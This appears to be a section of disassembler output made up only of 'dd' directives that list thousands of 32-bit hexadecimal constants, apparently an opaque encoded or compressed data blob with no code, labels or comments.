		dd 0C89ED811h, 0DB19F002h, 0F80CAB80h, 832F1A7h, 0C5311139h
		dd 6C09CDA8h, 0E6E2A0B8h, 0A1FC006Ah, 5B2BB4BDh, 0EE0040F0h
		dd 215C38D8h, 4CA3C906h, 91225845h, 32EEE4A1h, 0F34A808Ch
		dd 72BAD74Eh, 7EDC765Ah, 27F71125h, 512E2C90h, 0B6BDDF00h
		dd 4B08CDC6h, 273C2099h, 3D0178CAh, 0C2532BBh, 78885569h
		dd 28AE8AC6h, 20CE6040h, 2BF626h, 35F7624Eh, 5EAE4CCAh
		dd 949F7209h, 218C6D8h,	5C70B45h, 0A8C4447Eh, 1FAF7905h
		dd 0C0C29EF7h, 0E8CF23C6h, 26C842A8h, 4EEE6E09h, 0EC96C0h
		dd 207D5BCAh, 0DB215F17h, 163D5A5Ch, 0D4004636h, 10414CC7h
		dd 5BF00425h, 0C82D9F3Dh, 9202F72Ch, 26E41333h,	2CB72087h
		dd 4707C761h, 0CBC1B485h, 33E2F3B7h, 101C87CEh,	0E0E3BD50h
		dd 0AC87582Ch, 6E499AC0h, 2D00B139h, 0FD548243h, 0E496B88Dh
		dd 0C47226A5h, 249E114Ch, 854164CEh, 0FCD8C74Eh, 0E17D24E7h
		dd 9A62078Eh, 0A024A1B2h, 0EB1AF094h, 30341434h, 74005CA6h
		dd 73C97A8Ah, 130246B5h, 340306C6h, 0A0348BA6h,	527D2CC0h
		dd 0F9DB16F2h, 37F00135h, 0D12E3FDEh, 754F3130h, 3B8AF09Ch
		dd 0DF65FD00h, 0D5851FFEh, 9B4C01CFh, 0E7CB61D4h, 0BBAC4125h
		dd 0CD9DA8Dh, 89413F1Ah, 750018BEh, 0D48E5DBFh,	0B744113Eh
		dd 0A83A3F01h, 91ECDA96h, 0FECD9C00h, 60D1FD01h, 4F9E8F17h
		dd 97F9860h, 0CB475E85h, 405BA885h, 0E2BF749Ch,	0FF62D05h
		dd 0CCE0A706h, 521980Ch, 8A9C7F82h, 0C9184113h,	393E93D7h
		dd 10A2004Ch, 2546D6EBh, 28F12626h, 924397D8h, 12209B28h
		dd 4267EAh, 0A92E8710h,	64716106h, 93328201h, 0E71E18D0h
		dd 10C4B0A6h, 9E9688D6h, 80739F63h, 46973912h, 5200ACA4h
		dd 556ABCE4h, 94501379h, 0C1D640B0h, 1B008785h,	0F79A287Bh
		dd 0B6F57489h, 0E54E1F54h, 0C5001094h, 3B164519h, 0F561E6Ch
		dd 955810DEh, 62B29600h, 79E7B0C4h, 0A1629EC4h,	3D095F4Ch
		dd 14EC0024h, 711985FFh, 28A00030h, 22F41BB9h, 31138B7Bh
		dd 0BC0BD9DFh, 0F21C10E7h, 0CDD307D4h, 0E6665C06h, 3C1619C4h
		dd 6890B98Dh, 0FE7224h,	56FFD8EAh, 81C93748h, 3108A148h
		dd 8CCD98A6h, 0A7103400h, 0CAECFA50h, 18635A41h, 0C6F0A204h
		dd 0D96986EFh, 2D41A462h, 1ECCE8Bh, 76A30F70h, 7CEB542Bh
		dd 3788875Ch, 0BBA16EB1h, 0B653E0h, 0C642B830h,	10FB56B9h
		dd 0CCEFCF04h, 90C9B20Bh, 0BE3096E8h, 408F4240h, 0F8D89C24h
		dd 0A891E6h, 0F47983A0h, 0C73E1458h, 8A690061h,	4A721916h
		dd 2E7A16B2h, 34648C45h, 781D514Fh, 38223FC2h, 14C4B9h
		dd 1EA7F4E6h, 3AB08B4h,	8DA5A016h, 0E4203005h, 2778409h
		dd 733F1364h, 64010088h, 0E538D275h, 0B78C4900h, 78A768B2h
		dd 5A6B0061h, 5B64101Fh, 34E90CCEh, 3E5C9478h, 30E09824h
		dd 154088EEh, 4422255Fh, 38E429BBh, 9DC6A407h, 33274202h
		dd 0D250A757h, 0D9A922h, 0B2A66E06h, 0F9BD58A1h, 0C03D4D73h
		dd 88AC4486h, 7E3EFB76h, 9C02F36Fh, 5C2D4C2Fh, 0B9385196h
		dd 0BC221C58h, 65F87C00h, 86EB7821h, 0ECD2F03Ah, 3DCA16D5h
		dd 0C198C806h, 0BF3188h, 0C60C62A4h, 0B1F14D1Eh, 7647CF5h
		dd 0A2B9B40Fh, 0F878DCC2h, 0BF5F0160h, 481779A5h, 79AC616Dh
		dd 901F8B68h, 8B87AA50h, 9F5A14E1h, 61B05E19h, 4CCB1038h
		dd 9309C0EFh, 6401362Dh, 208D67F9h, 0CCB6BF00h,	3C0CCD02h
		dd 2F88DAEEh, 0A0106137h, 0F5019281h, 8FD48E40h, 8386EE0h
		dd 416C314Ah, 86CC4C45h, 2B85DD00h, 1A5DBFC6h, 7A1D1EE5h
		dd 0BD4B8002h, 9397C7D2h, 2D9F2C58h, 30E410AAh,	880601F6h
		dd 4EB885F1h, 317051C8h, 2513D2C0h, 744A41D0h, 590020F1h
		dd 3EA3565Fh, 25B4020Dh, 0D122BA74h, 0BE88FCF1h, 0C8F70045h
		dd 285825CDh, 4794870Ch
		dd 7D385140h, 804F5460h, 6A1F0045h, 759AB664h, 24008FC7h
		dd 0F9A2B313h, 0BC41694Ah, 0D03445E0h, 0EF26DE0Ch, 7D0B6090h
		dd 1830ECB2h, 6B06E4h, 0FBB5579Dh, 0C9CFDF8Ch, 0AA005A73h
		dd 87496EBh, 0C410A6h, 252F8913h, 0CD0F972Eh, 1FF09FF2h
		dd 0CAB52D0Eh, 1E994020h, 99478EEh, 433A318Ah, 0B30FB86Ch
		dd 60B053D9h, 28FCE63h,	186D00B4h, 37467C34h, 520B4550h
		dd 1807CCB3h, 3FC9789Ch, 8CD13DCDh, 251DF033h, 0F1D60397h
		dd 66B04EF6h, 932F814Dh, 0CDA0A2D8h, 5A9CE409h,	0BD7441CEh
		dd 206AE527h, 7B2CEE48h, 0B4605C0Eh, 0B06294C5h, 49E23EF6h
		dd 48D8B281h, 0EC8A5008h, 7CFD758Fh, 18B2A590h,	0D3770C00h
		dd 55169D27h, 981B8000h, 94E3DB63h, 0CD2C2CB0h,	5836400Ch
		dd 6D4B6787h, 6A01FFBCh, 262FD71Fh, 6CB1D5CDh, 23F2DB8h
		dd 0C0B616B0h, 4B4B5E0h, 321725BAh, 489CA81Fh, 57207654h
		dd 44E6483Dh, 6825CB81h, 604CFC79h, 16EFC500h, 0B285B0B5h
		dd 17F178C4h, 1187CAh, 305C2A44h, 451C9328h, 0ED32518h
		dd 36D50403h, 402FC00Ah, 0D071C120h, 30B71934h,	5F134650h
		dd 408812CDh, 0A438C00Fh, 6B089F17h, 60394E09h,	0BE2C5181h
		dd 8CA113AFh, 4A2C5BDh,	205F8482h, 0C3D86256h, 0D4765AE8h
		dd 0D2E23Dh, 9FC687F0h,	0E65B59CAh, 5E6F3293h, 0A320A580h
		dd 953243Fh, 30382645h,	0F4E50833h, 8B002E94h, 0B93AF0FDh
		dd 19419h, 0F940B811h, 0CA75BD47h, 9E054575h, 0FCE0B787h
		dd 0E8E2D8D4h, 2B424100h, 0C725CFEDh, 36F66000h, 6E27EADBh
		dd 6C2250Dh, 52866004h,	47559408h, 348748C8h, 0C48A0B9h
		dd 9B1948E7h, 23A14700h, 0A45FBB0Ah, 3D802536h,	0CE58144Ch
		dd 6F188000h, 70C8630h,	0EB8917BAh, 0B187A2C2h,	2CC59C41h
		dd 0DAA3023Ch, 85C1B0BEh, 88C9CC0h, 647FC4h, 0A7EA5138h
		dd 1D5BED9Ah, 508C7B4Bh, 0BC4C00B9h, 0F86C9B6Eh, 1CFA6197h
		dd 0D8F6FB00h, 4C3515F2h, 2D863A41h, 310E3F00h,	52C778EFh
		dd 4F6C9654h, 0ED053828h, 619ADB00h, 0DAF1F70Dh, 948B3D34h
		dd 64905D76h, 0D0B84BC0h, 0A50BFF75h, 84C737FDh, 0F8C274CDh
		dd 0EFAC5458h, 2CBDC980h, 927CF50Ah, 5419E16Ah,	0A2112000h
		dd 0F4BB17CEh, 0D951273Ch, 83438C83h, 809D48A4h, 718230CCh
		dd 0E8920B73h, 344F2F76h, 9C5BFC08h, 15FDC137h,	7ADBD3Fh
		dd 0FA60DBC0h, 840E0EEDh, 408A99FEh, 23C341FCh,	2C7507A6h
		dd 0B40270C9h, 0F8EA209Bh, 8B0FD5AAh, 0A02AFD86h, 27A916FEh
		dd 0BE8D00B3h, 96FBAF4Dh, 5C00ED7Ah, 0AE46856Dh, 2293559Bh
		dd 99003D3Fh, 9EAAFC8Ah, 0E454CE06h, 44A8B603h,	0BD3320DBh
		dd 0DA0CA370h, 1E9C20BCh, 0A0B1E0B6h, 0DB75907h, 0F024CD00h
		dd 82CE3F02h, 33A0EF83h, 86A854E4h, 9F177DF3h, 0A421A464h
		dd 1D084547h, 760175FCh, 0C15F017Bh, 0DC20ACA7h, 2CD87C77h
		dd 3DD8D0C9h, 37278F20h, 0CE94A0BDh, 36124E1h, 4D4B63B6h
		dd 5BC05F97h, 465CDA93h, 422EC8D4h, 90610E41h, 48D42DD2h
		dd 12B12210h, 0E967E3Fh, 0FB244100h, 24F245h, 26351170h
		dd 3D7F283Dh, 0E487EFE3h, 0B98A9E91h, 8C1E019h,	0EC435041h
		dd 4FA8BE95h, 0FD4000F1h, 0E90DB09Ch, 13881783h, 27740CDDh
		dd 0CE123E49h, 0C8B4D311h, 80E8B4F6h, 19408621h, 0A7903443h
		dd 4440274Fh, 0CEEE3653h, 0C80300B3h, 641CF508h, 5FF4B760h
		dd 451D44B8h, 46178359h, 7763E0C8h, 21F4008Ch, 0A7DB49FAh
		dd 8509D164h, 9E48675h,	127061DCh, 5AC54D2h, 31D8AB38h
		dd 8870BA0h, 0A899F6h, 2485186Eh, 0B20BAFF4h, 6CA630h
		dd 61A5E870h, 3B27049Fh, 0C09EF244h, 91745FABh,	0BC28091Ah
		dd 12A0CE1Ch, 3044152Dh, 36317BA4h, 0F0645Ch, 152E9D5Eh
		dd 0C093BD48h, 7A044621h, 0D190C2E8h, 0DF13990Eh, 0C629E487h
		dd 504C6C83h, 1275CE61h, 214093C3h, 6809707Ch, 988A772Ch
		dd 976338h, 266227D9h, 1F356B68h, 0DE37BB12h, 910C88h
		dd 866F8B73h, 82A2F2A3h, 4DA65CB1h, 80307C0Eh, 0B7DBA48h
		dd 845B0035h, 0CE86324Bh, 265C92B6h, 0C1488038h, 0F41DF1AFh
		dd 1E98041Ah, 0E8C60577h, 0E8870022h, 3017F708h, 0AFF93E25h
		dd 78188BAFh, 0AB1C31B0h, 0CECA80E4h, 4449E024h, 6F170228h
		dd 5901974Fh, 4109C0C6h, 79C6BD6Eh, 87190B24h, 5250CC24h
		dd 0AFA5DC30h, 0B0AB00ADh, 0D4AA213Ch, 4016E60Fh, 68818406h
		dd 5520D9C3h, 26A89023h, 43BC8564h, 51783C93h, 0CD253813h
		dd 9939B890h, 0C78000F7h, 0C4E849DEh, 91797614h, 3F254701h
		dd 308AA02Eh, 3E00886Dh, 78A9E828h, 0A50351C6h,	0CE3F6C5Eh
		dd 0A7210069h, 0DE6472FBh, 4A00026Eh, 32763053h, 1D44E57h
		dd 318D349Ch, 70D2D0FEh, 0BD093610h, 0D396328Ah, 5B3180BCh
		dd 812A0F53h, 0AD372C00h, 38A66F27h, 7C30F509h,	94AF25CAh
		dd 0CCF06C80h, 0B8A99B0Bh, 3DAC29C7h, 1A4877h, 215834B3h
		dd 0D243E1h, 0C8C21B40h, 309E4B41h, 9F42D8A0h, 48C92D4Fh
		dd 82719D6h, 84109531h,	4E13C883h, 0CCE5F5C1h, 180DC60h
		dd 19D21825h, 69C6B4ADh, 223F824Ch, 46E04185h, 50A4E310h
		dd 62079E7Eh, 7CF73D6Bh, 819C12F1h, 914D8F8h, 0A74DFC9Bh
		dd 0B2822CA5h, 42D00044h, 20B25FFDh, 1293EAFCh,	4029783Ah
		dd 2BE330E4h, 74581CCCh, 82C72DCBh, 699A5284h, 3900EBFCh
		dd 4C6BE751h, 24E86691h, 3D7CF682h, 0C00F052h, 0EBF1971Fh
		dd 0F51D4115h, 0EC17F2A7h, 57790403h, 5134B020h, 0C42DF1BBh
		dd 0D77F5CC0h, 0E20197B4h, 2322472Ah, 0DC23D6C7h, 6A67600h
		dd 0E9AD01FAh, 0F4282900h, 96FB091h, 7CBC7797h,	20D24B31h
		dd 982B19C4h, 1288F58h,	5DF4FACAh, 95E06F10h, 0C1E46EC6h
		dd 507BB82h, 94E6E450h,	69FAF01h, 9E2859E6h, 0DD50A180h
		dd 3F13B1B5h, 51E74B01h, 88064757h, 0A0B44BFEh,	4A1ECCF7h
		dd 46408896h, 314F98Ah,	0E41FD7C4h, 86F24580h, 0E6816C99h
		dd 8B9E5211h, 0B18E0C0h, 0C6AD6C83h, 40421404h,	798A92DDh
		dd 9C00B599h, 172A1910h, 38BEA8FCh, 0DEB8B380h,	13F88464h
		dd 0A4CD617Fh, 11988D0Ch, 9D568100h, 0AC88010h,	16148C2h
		dd 5F9E1701h, 32B8A3C9h, 50BC0000h, 0A006CF7Bh,	355500B1h
		dd 9C7092DCh, 0F2160B27h, 0A8601BF3h, 1C0CE33h,	72CCBE09h
		dd 2EDFDEFBh, 201A8C02h, 78C673h, 0B8C6E8ACh, 0FE6642F5h
		dd 364D9B0Fh, 2E9345A7h, 0CE620C5h, 0AF41CB09h,	0C02CA460h
		dd 0D9F71DEh, 0B07E46CAh, 55888D60h, 5DEF3137h,	28E4CDD0h
		dd 0D89416B0h, 33C1C88h, 0C3A70131h, 0BC13C2DDh, 6804077Bh
		dd 40455A15h, 0A30C223h, 20630841h, 6CFD0C80h, 42A305E0h
		dd 0C0AC3046h, 78D5B580h, 5A0C9EDEh, 494ECD52h,	0E56E003Eh
		dd 4FA90F18h, 0B00915B3h, 0DF200B92h, 3C5D0Ah, 9E9521D8h
		dd 0C2093D3Ah, 6E6007CDh, 11EB0624h, 6CC4C9DAh,	0AE3A1900h
		dd 3C99066Eh, 0B03DEDC1h, 0BF0E5680h, 441367DFh, 4001BC9Dh
		dd 1BCE252Fh, 0F5E4C24h, 374C5B33h, 5F437AA0h, 9317D049h
		dd 189C02DBh, 78C50F50h, 0E82095A2h, 0D136D44Fh, 0FDF17207h
		dd 73617105h, 1C684641h, 51380D0Ch, 5B003680h, 172CC3AEh
		dd 5FA89E97h, 0DD387078h, 0B6009D33h, 32D60295h, 9818B7h
		dd 7170EBCEh, 62341BC3h, 0D3952F00h, 3DC5B98Dh,	5F9F008Fh
		dd 59C0A7BFh, 460F7077h, 0A9340447h, 0B9C493D8h, 93F4FE30h
		dd 5F7402EDh, 0F69AC13Dh
		dd 7C5198ABh, 0D62C6C00h, 1AD905h, 8D8B1DA4h, 74ADE6F5h
		dd 220220EEh, 0F4ED5926h, 4A84630h, 5CD0D666h, 4C88B207h
		dd 0DFE6094Bh, 0A0F400ECh, 9DC114A7h, 6180583Bh, 0E41F16E3h
		dd 0A7801D70h, 0CA421CADh, 0C14504E2h, 0C82B9F7Ch, 264EF264h
		dd 0B0309CD3h, 4050B9Ch, 1421ABD5h, 4C748051h, 0BD2F4EAAh
		dd 99C8B889h, 19BF0E10h, 228EDB32h, 8145B0C5h, 6D416A57h
		dd 1292210Ch, 0F22CA41Fh, 5FFC51F0h, 0EC1708B0h, 60048642h
		dd 70D1406Dh, 0F0298FA5h, 0B1561918h, 19C5C0BDh, 4400A83Ch
		dd 0D482D5B7h, 0DC540263h, 0CFE6853Fh, 12E088AFh, 7DAE01C0h
		dd 8AE34F00h, 0A862E7C2h, 1B2D0019h, 0D9455999h, 61C883BDh
		dd 0B938847Dh, 22D4B21Fh, 0D5043C9Ch, 7DF86700h, 0AB91FD1Fh
		dd 46382600h, 0C6E98E6Eh, 0D475000Dh, 2B92EF05h, 0C599D21h
		dd 3D461B84h, 0DE8A92C1h, 85414038h, 544FFD25h,	318F142Ch
		dd 0CD11BB42h, 0AC282A1Eh, 67203C89h, 738017h, 0B8CB7DE6h
		dd 0C41FF0DBh, 0B78F8DD0h, 9D22E56Fh, 28025CC1h, 0D9005C2Dh
		dd 5D19CF77h, 0B10781CBh, 8E01E02Fh, 0E33F20C1h, 475456C6h
		dd 494330E8h, 52392698h, 210D85Eh, 8F3CF423h, 0B4D2B9h
		dd 1AC314DAh, 1CDD181Dh, 0A8BDDB3Dh, 5230B0B2h,	6D2BD9A6h
		dd 949234CCh, 388C4A20h, 0B6370093h, 0A2C22F68h, 5EFBCE1Fh
		dd 5A6B1E81h, 0FC48A79Dh, 8746140Ch, 7A8F11h, 940E66EDh
		dd 9EA91857h, 0C2431E01h, 0C05EBD33h, 4521F079h, 7C417500h
		dd 9EB057Dh, 0B252C978h, 961E08C4h, 0B781793Eh,	33015F42h
		dd 116C70h, 3F46C944h, 4FA11015h, 1725FE05h, 4B2485Fh
		dd 7A80A239h, 9C093E1Dh, 0A40003BAh, 0DEAA1646h, 7ECE6337h
		dd 88C082C2h, 0D780C4CFh, 6410245h, 0AB4E828Ch,	0D9EC38F1h
		dd 0C80B5ACDh, 1D8CD854h, 0CB440D67h, 387ABD32h, 1578A214h
		dd 20251588h, 0B1840074h, 0C97ADD0h, 1EA30A4Dh,	28B45B03h
		dd 0AF58B4BCh, 2ECB7C90h, 62F13800h, 9E8E1863h,	0B7227C7Eh
		dd 5A364010h, 1A40D901h, 9B945B15h, 0DC48A093h,	5703C9F0h
		dd 98C7B1D0h, 9A5AB9B4h, 411D7C26h, 11CC8973h, 42442079h
		dd 0A02927C0h, 179200ECh, 0CF313F65h, 1D1283A8h, 98324693h
		dd 23001605h, 9A7A5092h, 0DACAB9h, 0D0563857h, 5CF78A04h
		dd 0FB039F02h, 0F642E12Eh, 5EE34E3Ch, 72A9151Ch, 0E789E858h
		dd 0A0731F1Fh, 14F73141h, 48CC8D0Fh, 10A2020Eh,	0A79315EDh
		dd 0CCA52080h, 34C0DD78h, 8ACA6CF1h, 7796079Bh,	70618B08h
		dd 4D868DEBh, 2F3A410Bh, 9B6C9845h, 5ABA007Bh, 26333D76h
		dd 7801F23Bh, 1A071B27h, 841471E1h, 45982C10h, 0DD919600h
		dd 14A5D525h, 7FAF003Ah, 0AAC349BEh, 40028713h,	7DBD4634h
		dd 9E4440C8h, 0FA3F7483h, 0CD60A0A8h, 6FF50065h, 0AA2B08C5h
		dd 76797F89h, 0DC1E020Fh, 6B3A8F85h, 4C50985Bh,	2240E08h
		dd 0AF606B3Bh, 0E32799BFh, 2317F3Fh, 2FE95F47h,	1D8441B2h
		dd 4D24D43Dh, 4F6300B0h, 45D275BDh, 380A0C93h, 0F43BCC2Bh
		dd 771C90B7h, 66871214h, 5F9CCC01h, 3D1E413Dh, 3F537FA8h
		dd 0C7AE1EA8h, 39F4803Ch, 11A4B267h, 9BD102FCh,	45E6A73Bh
		dd 7EC08327h, 0B48C9FAh, 309D5F46h, 0B0CC5405h,	4484E25Ch
		dd 406C08Ah, 0B2FE4AB5h, 4C1807F0h, 214DABD8h, 3B08CD7Fh
		dd 193D8022h, 278080Ah,	4A1D3797h, 98FE3FBFh, 3DCE5240h
		dd 0A33509B0h, 88E8A89Ch, 0C01E0EDFh, 7A022Bh, 88D922B2h
		dd 0F7AD24h, 37EE109Fh,	0F6AFDA19h, 695C9E5Ch, 4EB80138h
		dd 227A96BFh, 9CA1C798h, 0F869E566h, 93002A5Eh,	1EA212DDh
		dd 947778BDh, 0BB348288h, 0CE42822h, 0E8CD7000h, 0B7BCA884h
		dd 0D35000B0h, 0CE9D349Ch, 0ACBA395Ch, 0BD007890h, 86F87725h
		dd 7C5A90E7h, 9E272245h, 70DC1B07h, 2A9050C5h, 0E0F3B52Eh
		dd 0FC5500A0h, 0AA779869h, 653825D8h, 86D02746h, 0BF40BCF4h
		dd 182930B0h, 74768F01h, 45588E97h, 9F9D1878h, 616780B6h
		dd 332B7E54h, 4EBA0302h, 0F49F9BC6h, 2E7BC068h,	422F282Ah
		dd 0B7FED4h, 71FEE2Fh, 589635F7h, 80842614h, 669D8815h
		dd 4C3001E2h, 2DB3C8FEh, 68142BD6h, 618EC014h, 1EB9B80h
		dd 21EFCE8Bh, 0E44F4930h, 0BC025E73h, 0CC2E86BDh, 1C87425h
		dd 5C378CF8h, 0CAD7C08Fh, 0E794F10Ch, 18118D2h,	25C715F7h
		dd 0FC6DD09Ah, 4930BF56h, 0E92C280Bh, 89358821h, 88007375h
		dd 0A35208A1h, 1F7679D1h, 74EA539h, 650D4601h, 878E00B8h
		dd 0C92C17DDh, 78017D7Dh, 0C8767CD8h, 85D52B81h, 1BF8DAECh
		dd 61D6FEF9h, 4CFF74E3h, 11E9FB19h, 1E1FA57h, 19781452h
		dd 8DB0802h, 0D0E8F78Bh, 62B3F280h, 3025032h, 28C27A12h
		dd 0B9885C2Bh, 0F420C0A0h, 0D5DA00FBh, 7469B066h, 4B98D92Ah
		dd 0E9188061h, 61807C7Ah, 2A4A8F61h, 1FF89A87h,	19D99431h
		dd 49BCF3F4h, 177DEA80h, 5EB1D1D5h, 0EF01100h, 722FAA1h
		dd 1974FACFh, 31E6F589h, 8E8470BCh, 5F719D00h, 0C130A2C8h
		dd 393E2A4h, 0C23A2392h, 0D1001CE8h, 0C10A1B7Ah, 50ADC8B9h
		dd 1840A8B4h, 51EDF56Ch, 6A3D3C14h, 916880A0h, 0D2CB25E5h
		dd 0F24D0F1Dh, 3EA01735h, 8840F4C1h, 0CF8F30C5h, 3AC7A440h
		dd 0C356C5h, 0B8A13B11h, 7DB45EDDh, 71DC9100h, 6F8CB00Bh
		dd 0F4D518DEh, 0BA8271F2h, 50F63700h, 5769E2C1h, 346C0033h
		dd 40D36F10h, 817493F5h, 87A3F115h, 809938A4h, 3ED78412h
		dd 0EA7BDC2h, 0E8D4F9C6h, 0AFC8E958h, 433639h, 5D4234A5h
		dd 0C37ED191h, 97012C40h, 6F8F0BD0h, 0C1DEF9F8h, 56D02241h
		dd 1EF4D990h, 0E1490372h, 0ED06794Ch, 6B322AF0h, 31FB9130h
		dd 0F5EB7Ah, 0ABA0DD49h, 0A874160Ch, 27193300h,	0CA241ED8h
		dd 4CEE037Ch, 8B3E5E71h, 0A218380Ch, 0ADC985h, 813DD9Fh
		dd 833DBB96h, 0A0053F6h, 0B21B4F12h, 0E0907D77h, 22549280h
		dd 0D8862205h, 0FC0DAB00h, 3365D3E2h, 5A3E00BAh, 0BF884448h
		dd 0BD703753h, 3C561700h, 9F596087h, 45F015Dh, 62FFF9F1h
		dd 0FA5191F7h, 450AF300h, 0D284EB07h, 2B041000h, 7F8E5DCAh
		dd 825E125Fh, 37C0449Fh, 0D40644D2h, 49FBF546h,	74038090h
		dd 531C88C4h, 0FD2810D5h, 83F2880Ch, 5E44EDA7h,	0EAEF6AF0h
		dd 3C596326h, 0E776FF02h, 0EB18B3AAh, 3198B8B3h, 431B07C0h
		dd 0F43C2Fh, 54719AADh,	53C1DA89h, 60C0F903h, 19C0ECF1h
		dd 0D34D989h, 135B0003h, 75115006h, 0B5F2FAEFh,	1C006EF2h
		dd 2A1964E8h, 2787F37h,	186CC2A2h, 0DCA17B52h, 0A0DF5C82h
		dd 6D45E851h, 4C34E8h, 0E48D1BE2h, 0A0FDB0AAh, 2961000h
		dd 0A6BFE7ABh, 0CF2A0240h, 7678E9B6h, 0ED552882h, 30888F24h
		dd 0DDB5008Bh, 8A69D4B2h, 0D878497Fh, 1E0FAE03h, 0EE19907Bh
		dd 0FD8700E0h, 829FE95Bh, 34912C5Eh, 0AF604401h, 0C3C09C55h
		dd 2B370A3Eh, 13C817D6h, 0FC880E29h, 7A0CE0BCh,	917F1FF2h
		dd 98F60901h, 7098412Ah, 77095240h, 77468B4h, 0A9EC8F7Ah
		dd 0D52C008Eh, 0DC5AA9BEh, 4D010458h, 0CCF72256h, 918A4FF4h
		dd 67A01DE9h, 0FF8C4850h, 88CE5178h, 0CA007FFAh, 4DDCE18Dh
		dd 0E443ECFh, 0C0BC62DFh, 100840A0h, 741265EFh,	0A860D561h
		dd 127547h, 0BC6B381Eh,	8A17B063h, 92012104h, 0B4C209DDh
		dd 68488F22h, 2A1BBE7Ah, 2BC01978h, 0FC0A1307h,	905E832Ch
		dd 24C10DBEh, 0C5D0D961h, 32D40017h, 0A2B0BDDh,	2604DA5Dh
		dd 8C6E7F45h, 818E9480h
		dd 0E9C960E8h, 0BA275D4h, 0F1F7B20Bh, 10D302DFh, 0FBA841DEh
		dd 607B0170h, 3F9481FAh, 79C0EEF4h, 0ADDD9921h,	2035012Ch
		dd 0A555AEE0h, 349020E5h, 9EF7DC3Eh, 57C0872Fh,	0A2217397h
		dd 6DD9C182h, 0C8892004h, 8000F418h, 0FB8398F0h, 9317ADD2h
		dd 0E8742890h, 105F5813h, 7A41B402h, 84C4192Ah,	91F4F530h
		dd 998213h, 0B7D171A2h,	0C7BCA321h, 0F8189500h,	741AC50Ah
		dd 67C0BCFh, 0B810E758h, 0A1004393h, 0B12E892Ch, 6434ACDEh
		dd 90320A3h, 3A8010F4h,	3776008Eh, 2918B4BCh, 0D300CF33h
		dd 0FF2CB611h, 0B020A259h, 7AF22991h, 0D3E80CFCh, 0A500D169h
		dd 0BC08F0A6h, 0C72FE742h, 0C03D9719h, 0A19C11C8h, 0F69B6300h
		dd 0E5FF1068h, 0C70E2D6h, 0DA885EF7h, 0DF6002C8h, 0F1B15A39h
		dd 112A60E9h, 8044C204h, 89A48316h, 0BB03531Fh,	0DF5F7DE5h
		dd 20A9700h, 20254C50h,	6E792D00h, 0E2A418B0h, 7D87C91Eh
		dd 5C609700h, 0E444B8A9h, 3F8293Dh, 732B09B4h, 9EFF4418h
		dd 7FC040Ch, 93C221DDh,	1DF10078h, 49FB2E2Dh, 0CC0E9C00h
		dd 0AD75BAE3h, 9319287Ch, 17BE12ECh, 74580078h,	828FD13Bh
		dd 0F65061C0h, 11FA73Fh, 0EFF7EC4Ch, 60F41195h,	12E74A0Ch
		dd 0D04620F3h, 0CF00BF30h, 0BDFCB03Ch, 3C0BB6EBh, 29A4C5E7h
		dd 0D92D09A8h, 8E09091h, 0A26351ACh, 0A93E118Fh, 35EF4260h
		dd 0F89D5901h, 3B5705C7h, 0A659EF3h, 1278FAC0h,	0D5170AC1h
		dd 8FC60508h, 2C3C9139h, 4320D6E9h, 703BFFFBh, 0E7EF29DBh
		dd 3C3700D8h, 90551772h, 13383E74h, 315C00B0h, 925F7C4Fh
		dd 7C874C3Bh, 392CE886h, 0EEC84D00h, 3F530469h,	0ED5100D3h
		dd 0A8EF1B31h, 0B715D5F8h, 1CA4F58Fh, 0A3405C2Ch, 0B2578302h
		dd 6010982Ah, 4C4B875h,	789971B6h, 845D0B85h, 20881C92h
		dd 0F61FE780h, 0D174BB04h, 1CC9E90Eh, 1E567EF8h, 80753C69h
		dd 5B65C7C6h, 2C007CE5h, 0F89A5C2Bh, 12565F72h,	44FD8695h
		dd 46200318h, 779E7F5h,	0B0D33460h, 955EC0D1h, 0DC0020B4h
		dd 0CE7A295Bh, 4C2B60C9h, 91000432h, 5C7513D6h,	5CA0F15Fh
		dd 0E83C0A1Eh, 899C0051h, 5FED6E7Ah, 9B780079h,	12C41FAFh
		dd 174C0D0Ch, 9FD9600Eh, 611953h, 0CC4E27C6h, 6C3FD012h
		dd 5A267900h, 6E2AC92Ch, 9EC494F1h, 0F57122FCh,	0BCF779C0h
		dd 7BD0E8E3h, 3ABE0012h, 0A50EB4FCh, 0E89405F8h, 0FC326E44h
		dd 25245510h, 4898D887h, 1B5DFD94h, 0F6A61A48h,	36B26341h
		dd 4620EF41h, 49C13DE2h, 6C407DC1h, 9AA94020h, 602B739Ch
		dd 0AAC021D7h, 2C002441h, 692DC129h, 0B775EAh, 0B651F267h
		dd 7E08767Ch, 0E5E13CB0h, 81E802D9h, 0A05CA660h, 14D3CD0h
		dd 442885E3h, 2949830Ah, 0F88F18F4h, 6210A1h, 0CC4FE5DEh
		dd 6DE7BA5Ah, 2C882B3Ch, 0F71728C3h, 91C9D04Eh,	0BDD0311h
		dd 90118FC5h, 8836FADCh, 0E494917Ah, 4B459780h,	0E2415C2h
		dd 211BF43Dh, 0F0020B47h, 76BB9D5h, 0A322F313h,	1A134421h
		dd 0D92E60h, 0FDBF69ACh, 6133AEE6h, 12B0DA48h, 80325E71h
		dd 707C4496h, 0E2EC0E43h, 1D834701h, 0F9C193FFh, 0C0042206h
		dd 0A1557E75h, 0AE600388h, 99F8341Bh, 7489EAF9h, 100FCF8h
		dd 0D7B66A0Fh, 0E8B0E8F7h, 3B2F006h, 0A55B8753h, 0B19B82D8h
		dd 3A7D1800h, 0C36CF5A9h, 396F6752h, 50C2A11Eh,	0E624410Ah
		dd 5FC311BBh, 8B1900D3h, 8A2BA5ACh, 0B706CD94h,	0D6395B1Ch
		dd 0FBA0F021h, 0C601A170h, 39F23E10h, 0D633E500h, 1C8A8C79h
		dd 9139004Bh, 4E572106h, 48EC04A0h, 0CF5B6C02h,	1158C36Eh
		dd 800EB29h, 0D8EBF06h,	1EBD36h, 599E966Ch, 0AE07B556h
		dd 2A65A0Ch, 3CB1F7h, 5D4457F1h, 0CEE3337Ah, 0F8F53000h
		dd 9B75C4AFh, 8AB0004Eh, 0A75D1012h, 6F001667h,	0A39183D3h
		dd 0DB375Bh, 11890377h,	0DE2580B2h, 130781FEh, 5EDAA598h
		dd 6B9A3FC1h, 5B199882h, 8090D24Fh, 58D88AA5h, 0C0DA99C8h
		dd 0A6E37019h, 1C00BB67h, 0BFADF011h, 0C75B969Ah, 41FBD580h
		dd 8AD9996Fh, 8ACBCE31h, 85160Bh, 9F832B1Bh, 823038FDh
		dd 2FBB1Dh, 0F7D4C1F4h,	286314EDh, 4C29938h, 0DE16A941h
		dd 25A28047h, 721E3640h, 5780DF2Fh, 0C8B52E1Ah,	96A70AEBh
		dd 80B06228h, 0E47B83EAh, 35796907h, 0A8CF012Ah, 10C17E00h
